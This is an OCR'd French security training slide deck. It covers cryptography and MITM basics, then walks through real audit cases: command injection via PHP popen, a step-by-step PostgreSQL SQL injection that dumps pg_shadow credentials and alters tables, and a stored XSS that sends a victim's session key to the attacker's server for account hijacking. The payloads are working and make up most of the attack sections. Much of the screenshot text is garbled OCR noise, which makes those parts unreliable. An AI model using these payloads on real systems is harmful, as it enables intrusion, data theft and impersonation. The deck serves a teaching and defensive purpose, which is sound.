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Types d' incidents

Contournement d’un chiffrement
Débordement de tampon
Absence de validation d’informations

— Exécution de programmes

— Injection de commandes SQL

— Injection de code (XSS, Cross site scripting)

" Lesexemples sont réels.
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La sécurité est une attitude

Nous ne vivons pas dans un monde parfait.
Un programme, quel qu’il soit, fait ce qu’on
lui dit. Quand on setrompe, il exécute
bé&ement.

" Il faut bien comprendre les outils dont on se
sert, sous peine de grandes désillusions.

" Laparanoian’est pas suffisante.
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Et pourtant

«Jal un garde-barriére »

«Jal un déecteur d'intrusions »
«Jal une équipe de sécurité »

" «Vousn'alez pas m' apprendre mon
boul ot »

" « Mon fournisseur d’ acces est trés fort en
sécurité »
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Rappels sur le chiffrement

Message : tout échange d’informations entre
deux entités.

" Cryptographie : rendre un messageillisible
pour qui ne dispose pas des outils
appropriés.

" Stéganographie : cacher un message dans
un autre, lerendreinvisible.
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Principes de cryptographie

Principe trésancien.

S

Message Message
en clair chiffré

" Jusgue dans les années 1970, un seul
principe connu, crypto symétrique.

" Les deux correspondants doivent partager
une méme « clé», qui sert a chiffrer et &
déchiffrer.
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La « clé» secréte peut ére auss smple

gu’ un décalage de lettres (code César)

Ou auss complexe que des systemes par

substitution évolués (Enigma).

" Probléme : on sait les briser (sauf les codes
agrilles uniques).

" Probléme de base : transmettre de maniéere

sire la clé entre les deux correspondants.
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" Le chiffrement asymétrique (dit aclé

publique) permet de résoudre | e probléme

de transmission des clés.

" Et, pour le moment, on ne sait pas briser les
algorithmes associ és.

" Principe: laclé est un couple (C1, C2).

" Tout ce qui est chiffré par C1 ne peut étre

déchiffré que par C2, et vice-versa.
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Génération d'un couple (C1, C2).

On garde une moitié du couple de clés pour
soi. C'est lacléprivée, eledoit &re
protégée (mot de passe complexe, €tc.)

~ On diffuse I’ autre moitié (cl€ publique),
librement (serveurs de clés publiques).
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10

* A veut écrire aB.

" Il récupere la clé publique de B, C2b par un
moyen guel conque.

" |1 écrit son message et |e chiffre avec C2b.
" Il envoielerésultat a B.

~ Seul le possesseur de C1b (donc, B) pourra
déchiffrer le message.
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Authentification

A veut écrire aB.

Il écrit son message et le chiffre avec sa
propre clé privée Cla.

Il envoielerésultat & B.

~ Toute personne possédant C2a (tout le
monde donc) peut déchiffrer le message.

" Mais C2a ne peut déchiffrer que des
messages chiffrés par Cla, donc écrits par
A.
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Signhature numérique

" Plutét que de chiffrer le message avec sa clé

privée, on se contente de le signer

(« résumé » numérique chiffré).

" Lemessagereste en clair

“ Ony ajoute un bloc cryptographique de
signature.

" Lerécepteur valide la signature et sait que

le message est authentique.
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Bien utiliser la cryptographie

On peut se faire tres mal en pensant que la
cryptographie est une solution miracle.

Une mauvaise utilisation de la
cryptographie est contre-productive : fausse
impression de sécurité.

" Exemple typique, « notre produit utilise
SSL doncil est sOr ».

Principe de SSL

Serveur Client
ClE privée CI¢ privée
CI publique Clé publique

Serveur Client
Clé publique ———————
Clépublique

Serveur Client
Echange chiffré

" Les deux communicants échangent leurs
clés publiques (le serveur peut étre le seul a
envoyer sa clé publique).

" Et peuvent dial oguer de maniére sécurisée.

QU est-ce qui me garantit quelaclé

publique que jerecois est celle de mon

correspondant ?

Certificats (= clés publiques) signés par des

« autorités de certification » (AC).

" Qui insérent donc une signature numeérique
dans le certificat.

" Mais qu’est-ce qui m'’ assure que cette

signature numérique est celledel’ AC ?
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" En théorie.
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Chaine de confiance Chaine de confiance

Amorcage local de la chaine de confiance.

L es programmes (navigateurs Web ou

programmes spécifiques) disposent déja des

clés publiques d’ un certain nombre d’ AC.

" Il est possible d' gjouter ou de supprimer des
clés (gestion de la confiance).

" Lescertificats signés par ces AC sont

automatiquement validés.
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Sans validation des certificats...

On s'interpose dans le dialogue (MITM).
On envoie a chague correspondant notre
propre clé (générée spécifiquement).

Et letour est joué.

Serveur Client

Cle publiue s -
Clé publique
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Absence de validation

Les serveurs Web produisent des
formulaires

L’internaute remplit les champs du
formulaire

Un programme traite ces informations
"~ Evidemment, |’internaute est honnéte et ne
triche pas.

" Cela est valable pour d autres cas que des
échanges serveurs Web/navigateur.
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Sauf que...

Les contrdles locaux au navigateur
(javascript ou autre) sont inefficaces.

L es champs cachés ne | e sont pas du tout.

En conséquence : les programmes (sur le
serveur) peuvent recevoir n'importe quoi.
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Exemple O

Extrait d’ un audit de site.

Enchainement de programmes, pour gérer

différentes étapes d’ une opération sur un

serveur Web.

" Chaque étape suppose que les précédentes
se sont bien déroul ées.

" Et nevérifiepasquec'est bien le cas.

" Il est possible de sauter les étapes...
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Exécution de code

Durant I’audit du code de I’ application, on
trouve:
session_start();

if(isset($_PCOST['user_id])):
$pi pe = popen("c:\\bin\\perl.exe —Ipl
pl\\decr_userid.pl " .
$ _POST['user_id'] , 'r');
* Utilisation sans contr6le des données dans
user_id, pour lestransmettre a un

programme.
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Exécution de code

Il suffit de...

GET ... user_id=1234 |
c:\\winnt\\system32\\cmd.exe /c ping | P
Résultat avec tcpdump :

aa.bb.cc.dd -> ee.ff.gg.hh 1 COW Echo

(ping) request
ee.ff.gg. hh -> aa. bb. cc.dd | CGW Echo

(ping) reply
" On peut exécuter ce quel’on veut sur la
cible.
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Exemple 1 : injection SQL

Beaucoup de serveurs s appuient sur une
base de données.
Lesrequétes ala base utilisent des
informations issues de I'internaute.

" Si cesinformations ne sont pas
correctement validées avant leur utilisation,
la catastrophe n’est pas|loin.
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Prise de contréle d’ une BDD

Querisque-t-on ?

— Insertion/modification/destruction
d informations.

— Création d' utilisateurs, de tables.

— Modification des mots de passe des utilisateurs
|égitimes.

" En bref, la base de données est sous
contrdle compl et du méchant...
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Point de départ

Il suffit parfois de peu de choses pour
éveiller I'intérét.

Exemple: programme (en PHP) de gestion
de FAQ.

Eile Edit View Go Bookmarks Tools YWindow Help

@@ @ < htipy] | oh?PHPSESSID-53b206201223 0

@Pnnkmarke @hazilla Praiect @ ACMNAT
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| Contenu d une FAQ

ks Tools Window Help

it php7id=368 PHPSE S8ID=53basbasi240)] (@)

ot @ACKNAT

Retour 4 la liste des FAQ

31/03/2003}

“.'ﬂ"m' itk et frine B b i i
P e D i
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Un peu de réflexion

L’URL demandée est GET
...pgm.php?id=val eur& PHPSESSI D=val eur

Lavaleur del’identifiant sert probablement
ainterroger une base de données.
" Cette valeur semble numérique (36 dans

I’ exempl e précédent).
" Donc, on va utiliser autre chose : pas
d'identifiant valide (par exemple).
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okmarks Tools Window Help

&l (

Drminnt @ ACRIAT

O Retour a la liste des FAQ

Waming: PostoreSQL auery faied: ERROR: parser: parse error at or near ‘and”in
Arar/ e W S A wilb.php o fine 109

Wanhing: Suggliec 3rgument is 1ot a valid PostoreSL result resource In AZBKAIIY SRR R S D, php
online 112
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Bilan provisoire

La base de données est PostgreSQL

On connait les chemins d’installation et de
fonctionnement du serveur Web

On sait que les informations ne sont pas
validées, ou ne le sont qu’imparfaitement.

"~ S le systéme n’ affiche pas toute la requéte,
il nereste plus qu’a creuser.
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Parfois, on a de la chance

" Lesystéme peut serévéler trés coopératif.

Project @ACNAT

‘Waming: PostoreS QL query faled: ERROR: parser: parse error at or near “and” in
e RS 1 1 1 11

Recustte invalids
SELECT t
FROM SR Where ordier by ast

Warning: PostgreS QL query faied: ERROR: parser: parse error at of near *)" in
svarssesise/nt D -0y o e 141
Recuette invalids

SELE CT sl 4 0 0 o i oo ot e o ol IO 1o
{ | IS T ) O cer by

R SN
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Composition de larequéte ?

Le script interroge la base en [ui
transmettant directement la valeur du champ
ID (concaténation de chaines).

Probablement SELECT ... FROM ....
WHERE ... id = <valeur regue> AND ...

“ Il y ad autres clauses de sélection (id = ...
AND autre_clause)

" Nous ne voulons pas étre génés par ces

clauses secondaires.
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| Elimination d informations

"~ On élimine la suite de larequéte originelle
par I'insertion d’un commentaire SQL.

" Avec PostgreSQL, il suffit d' gjouter -- et le
reste de laligne devient un commentaire.

" SELECT ... WHERE ... id=10-- AND ...

"~ Cane nous permet pas d’ éliminer les
clauses de sélection qui précédent « la
notre ».
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Camarchetrés bien :

okmarks Tools Window Help

1 hp7id=10-
Proiect @ACNAT
2 o
@ FAQ:
O Retour a la liste des FAQ
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Un peu de réflexion

" Nous avons un SELECT qui renvoie divers
champs.

" Pour extraire les informations qui nous
intéressent, nous devons abuser de cette
sélection.

" Lacommande UNION de PostgreSQL est
notre amie.

* SELECT ... UNION SELECT ...
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Probleme immédiat

Lasémantiquedel’ UNION est dtricte:

— Les deux clauses de sélection doivent retourner
le méme nombre de champs.

— Qui doivent é&re du méme type.

" Nous devons donc déterminer le nombre de
champs du premier SELECT (celui écrit par
les dével oppeurs du site) ainsi que leur type.
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Nombre de champs du SELECT

" Tant que nous n’avons pas le bon nombre
de champs, PostgreSQL signalera certaine
une erreur.

" Il suffit d'y aler de proche en proche.
" GET pgm.php?d=10 UNION SELECT 1--

“ On abesoin d' espaces, on utilise le codage
hexadécimal.

" 1d=10%20UNI ON%20SEL ECT%201--
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Résultat...

ockmarks Tools Window Help

h.php ?id= 10% 20Union% 20select?% 201 @)

a Proiest @ACNAT

@FAQ:

Wwarming: Fostare SO query faieo: ERROR: Each UINION query must kave the same number of colmis in
eatrunee bR phy o 1 109

Waming: Supplied argument is not a vald Fostgre S0 result resource in /varsuss/htt SRR b.php
on ling 112
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Aprés quelques requétes...

On finit par avair e bon nombre
d arguments, car le message d’ erreur
change.
id=10 UNION SELECT 1,1,1,1,1,1,1- -
@FAQ:
{5 g T St s A )

Waming: Postare SOL guery failed: ERROR: UNION types text”and ‘int4 " not matehed in
ottt e, SRR 1y o i 109

Waniing: Supplied argument is not a valid Pastars SO result resource in Avarsesesechtm BAEMSMERRRNNdb by
online 112
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M éme démarche que précédemment.

UNION types « typel » and « type2 » not
matched.

" Typel est letype du champ de larequéte
originale (partie gauche de |’ union).

" Type2 est le type de notre requéte (partie
droite de |’ union).

" On s arréte quand le message change...
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Requétes successives

Utiliser un type distinctif (booléen ici)
id=10 UNION SELECT true1,1,1,1,1,1--
@FAQ:
T —

Waraing: Postiye S gy ke EAFCR: LNION tyes 4~ sl s n
e GRS 1.5 o1 1 108

Waming: Suppliec argument is not a valid Fostgre SOL result resource in Avar/vwsrse it SESRagti1b php
anling 112

" Le premier champ est un INT4
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On finit par y arriver.

Types: int4, text, text, int4, int2, date, int4.
" 1d=10 UNION SELECT 1, text(100),
text(10), 10, 1, date(1), 1--

FFAQ:

O Retour a la liste des FAQ

100 01/01/1970}
10
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Game over...

Nous pouvons extraire tout ce qu’ on veut de
labase. Il suffit de connaltre lestables et les
champs adéquats.

Table pg_database : bases de données sur le
systéme. Le champ datname indique le nom
de la base.

" Table pg_shadow : table des utilisateurs.

L es champs usename et passwd contiennent
I’identification de ces derniers.
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Liste des bases de données
id=10 UNION SELECT 1, dathame,
text(100), 10, 1, date(1), 1 FROM
pg_database--

=y 2
@ FAQ:
& Retour a la liste des FAQ
a0 s o 01/01/1970}
100
] 01/01/1970}
100
templateQ 01/01/1970}
100
tempilatel 01/01/1970]
100
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Utilisateurs et mots de passe

id=10 UNION SELECT 1, usename,
passwd, 10, 1, date(1), 1 FROM
pg_shadow--

postgres

" On constate (en plus) que les utilisateurs
n’ont pas de mot de passe.
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Nous avons toutes les commandes SQL a
notre disposition.

" L’injection ou la modification de données
se font par concaténation de commandes,
plutét que par UNION de sélections.

" id=10;INSERT INTO ...
" Voyons ce que ¢a donne...
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Création d’ une table

id=1;create tabl e tests1234 (texte text)--

Nos données étant utilisées dans plusieurs
requétes, on regoit une certaine erreur.

" Celan’empéche pas|’ exécution de la
commande.

x:::::::w PustiveSDL iuﬂy failed EH:I‘D'.IL UH:\:::IV: ;t‘eanM‘ already exists in

P, R, i Al coni¥isl i OM B where SWdlc - 1 oreate
bl teot31234 (texte text -~ anct CRREMNG= - AW FENAONP = - PO =) 0rce by Rgl O
deso
[
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Injection de données

id=1;insert into tests1234 value(‘toto’)--

U NEWU a1a i ues ra

S P T B iSO e e

Toarhmin i A ARAD php o e 111

Requetts invalice

seLEcT S A A A Al 51 B e A < | et

10 tests 1234 valUEs(Toot - andl (e - - F0E| PRS- - < PRy + 1) orcer by
e

" Latabletests1234 a bien été créée (sinon
I’erreur serait différente).

" Pas de chance! Il semble impossible
d’injecter du texte car les apostrophes sont
protégées (magic_quotes gpc, addslashes).
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Injection de données

Pas besoin d apostrophes, par exemple en
décomposant |a chaine en caractéres.

pyb@nihao:~tmp X

[pybinihae tnpl$ perl to-chr

e crois que le systéne est nal en point...

chr(74) 1chr(101) || chr (323 11chr(39) 1 chir(114) | Iohe(1L01 | 1<k {108) | 1chr(118) |l che
(323 [ ehe{C1133 1 Tehr{117) [1chr(101) | che (3231 leh-{108) T1chr (101} || chr (3231 lehr {11
&)1 16hr(121) [ohr (115 || chr (116)1 16hr(232) | oh-(103) || chr (1011 16hr(32) | Iohr-(101
I Hch-(115) |1 chr(116)1 1chr(32) Hehe(103) | chr- (3731 1chr(108) | Ich-(32) || chr(10031 1
Ghr(110} ] 1ohr(32) || ohr (112) 1 16hr{111}] 1chr(108) | Ichr (110) 1 1chr (116} 16hr(46) | loh
r(48) 1 Iche(48)

[Pubnihao tapl$ perl to-chr

" id=1insert into tests1234 values(chr(74) ||
chr(101) || chr(32) || chr(99) [etc...])--

(= e - fsert 20in 0% 20 tests 1 234%20values(chi(74) o)

A Prainat @ ACKAT
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Résultat des courses...

Si oninterroge « notre » table : id=1
UNION select 1,texte, text(100), 10, 1,
date(1), 1 FROM tests1234--

O MELOUT & 18 ISLE UES TAL

Destruction de table

Aucune difficulté particuliére, c' est
I’inverse de la création.

Lemessage d’ erreur est lemémequ’ala
création (utilisations multiples).

Je crois que le systeme est mal en point... 01/01/1970}
100 -
Waming: Postores GlL auery falect: ERROR: table “tests 234" does not exist in
Foari b.php or ine 111
Recuette invalice
S ELE CT il Ao Ao il e Res oot 1O\ Bl vrcre sl - 1,0kop
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Une référence a notre table provoque une
erreur, la destruction est effective.

Waming: PostoreSTL auery faled: ERROR: Felation “tests1 234" doss not exist in
VLAY N S S 8D php o e 111
Requette invalds

el Ao oo S oS- Sl -+ e FFOM oy where s = | union
select 1texte, tex1¢100),10,1,dateq1),1 from festel 234-- and (Ruguilil 0 Fglis o0 il 1)
et b TR S dese
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Exemple 2 : code croisé (XSS)

Principe : le méchant s arrange pour injecter
du code dans un serveur.

Ce code est ensuite exécuté, dans diverses
circonstances identifiées par |le méchant.

" Ce code produit un résultat « quelconque »,
sous contrdle du méchant.

" L’ objectif du méchant peut éretrés
variable.
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Peeping Tom...

Lecture d'informations sur une messagerie

(dialogue en ligne, webmail, messagerie

instantanée, etc.)

" Objectif : obtenir I'identifiant d’un autre
utilisateur (usurpation d’identité).

" Mais|’identifiant est sécurisé, me dit-on sur

lesitevisé.
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Identification des internautes

HTTP sans notion de session : pasdelien
entre les requétes recues par le serveur,
méme s dles viennent du méme navigateur.
Il faut reconstruire artificiellement la
session :

— Cookie envoyé au navigateur.

— Manipulation d URLs qui contiennent
I"identifiant de I internaute.

— Paramétres d' un programme.
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Environnement de tests

Création de deux comptes, et dial ogue entre
ces deux comptes.

On analyse I’ existant, ¢’ est-a-dire le code
HTML produit par le serveur.

" Votre navigateur est votre ami. Ce pourrait
bien ére |’ ennemi de vos cibles.

" Nous contrélons notre serveur Web.
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Dialogue

Comptes dalong et trickster

Message & Trickster

o Bghrother 31
® Euliner 31 31

18 connectés <Préc) Suiv>) 14 "ia, . bes

0 Envol
& Dalong. 31
* Eriiic: 3
o Coldes 31
* Kris-531 3
e larentst 31 5
o pejozeal 31
efpnze 31
oFenaa 31 Réponse aDalony
* Smoker 3
® Stéphane3] 31
® Toulousaine | :31
& Trickster 31
e 2 Refuser | Envoi |
* Westindies 31
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Version simple

" Code HTML (nettoyé) chez lavictime :

<table><tr><td><b>Yo, un test</b></td></tr></table>

<br><b> Réponse a Dalong</b><br>

<form action="xxxxxxxxxx.php3?etat=2& de=8320506&
a=8320488& ancmess=160529865& in_admdid =0&
cle=7ad54a3477c2f23af02c23fb1640679d">

<input name="MESSPREC1" type="hidden" value="">

<input name="MESSPREC" type="hidden" value="Yo, un test">
<textareaname="MESS' rows="5" cols="50"></textarea><br>
<input TY PE=IMAGE' BORDER=0 SRC="invbenvoi.gif"
NAME="envoi" VALUE="envoi"></form>
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Premier test

Injection directe de code Javascript dans
notre réponse.

Réponse aDalong scriptalert(Bing')/script

soripbralerb('Bing 3</seript

Réponse 4 Trickster

Refuser |  Envoi |
Refuser | Envoi

" Pasde chance, ilsy ont pensé (c' est bien !)
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Déplacer le probléme

Filtrage des caractéres < et > dansle

message.

" Cefiltrage est-il fait partout ?

" Deux champs cachés: MESSPRECL et
MESSPREC.

" Champ caché = champ inaccessible

" Inutile de contrdler son contenu, identique &

celui qu’on aenvoyé. Evidemment...
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Second test

$ POST -p http://192.168.1.1:3128
http://xxoooaxaxxxx. php3?etat=2& de=8320506
&a=8320488&in_admdial=0
&cle=7ad54a3477c2f23af02c23fb1640679d
&ancmess=150868021

Please enter content to be POSTed:

MESSPREC=<script>alert(" Intervention
urgente" )</script>& MESS=Bonjour%20tu%20v
as%20bien%207?

D
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Game over...

L’internaute n’y ayant pas acces, |e champ
MESSPREC n’'est pasfiltré

Lapreuve...
—Sm—w‘m
[Votre message |
@ Intervention urgente
o]
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Résultat intermédiaire

Il est possible d’ envoyer du code Javascript
qui sera exécuté par le navigateur delacible
(un autre utilisateur).

"~ Comment transformer celaen une
usurpation d’identité ?

" Deux informations a obtenir :
— Numéro d' utilisateur (de=..., &=...)
— Clé d utilisateur (cle=...)
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Identification de I’ utilisateur

Lenuméro d' utilisateur est facile a obtenir,
puisgu’ on en a besoin pour écrire a notre
cible

de=8322039& 8=8321977

" Pour laclé, il suffit de la demander
(poliment) au navigateur de notre victime.
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Obtention de laclé d' utilisateur

$ POST -p http://192.168.1.1:3128
http://xxxxxcased.php3?etat=2& de=8322039&
a=8321977& ancmess=160542829& in_admdial=0
& cle=c58580858789337a4ce5839d6f9554b3
Please enter content to be POSTed:
MESSPREC=<script>i=new | mage();
i.src="http://mon_serveur_a moi/ll-" % 2B
window.location.sear ch;</script>&
MESS=Gaoing

ND)
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Derniére étape

2B = caractéere + (concaténation de chaines).
La victime affiche le message regu...
... €t déclenche notre code JavaScript.

Refuser | Envoi |}
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Récupération des données

Notre serveur recoit unerequéte (11-) avec
|es informations dont nous avons besoin.

XXXX.XX.XX - - [27/May/2003:18:10:48
+0200] default denies accessto 'GET /I1-
2in_numdial=8321977& etat=3&in_admdial
=0& cle=303cf401fa144b16740384db7b5ac
746'
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On met en route le magnétophone

http:/xxxxxxxxxxx.php32n_numdial=8321
977&in_admdial=0& cle=303cf401fal44bl
6740384db7h5ac746

Refuser Envoi
LS Welle
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" Premier exemple: prise de contréle compl et

sur la base de données.

" Deuxiéme exemple : usurpation del’identité
d'un utilisateur.

" Replacer ces deux exemples, bien que réels,
dans des cas plus sérieux : commerce en
ligne, banque, systeme médical...
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Moralité

«Jal un garde-barriére »

«Jal un déecteur d’intrusions »
«Jal une équipe de sécurité »

" «Vousn'alez pas m apprendre mon
boul ot »

" « Mon fournisseur d acces est trés fort en
sécurité »
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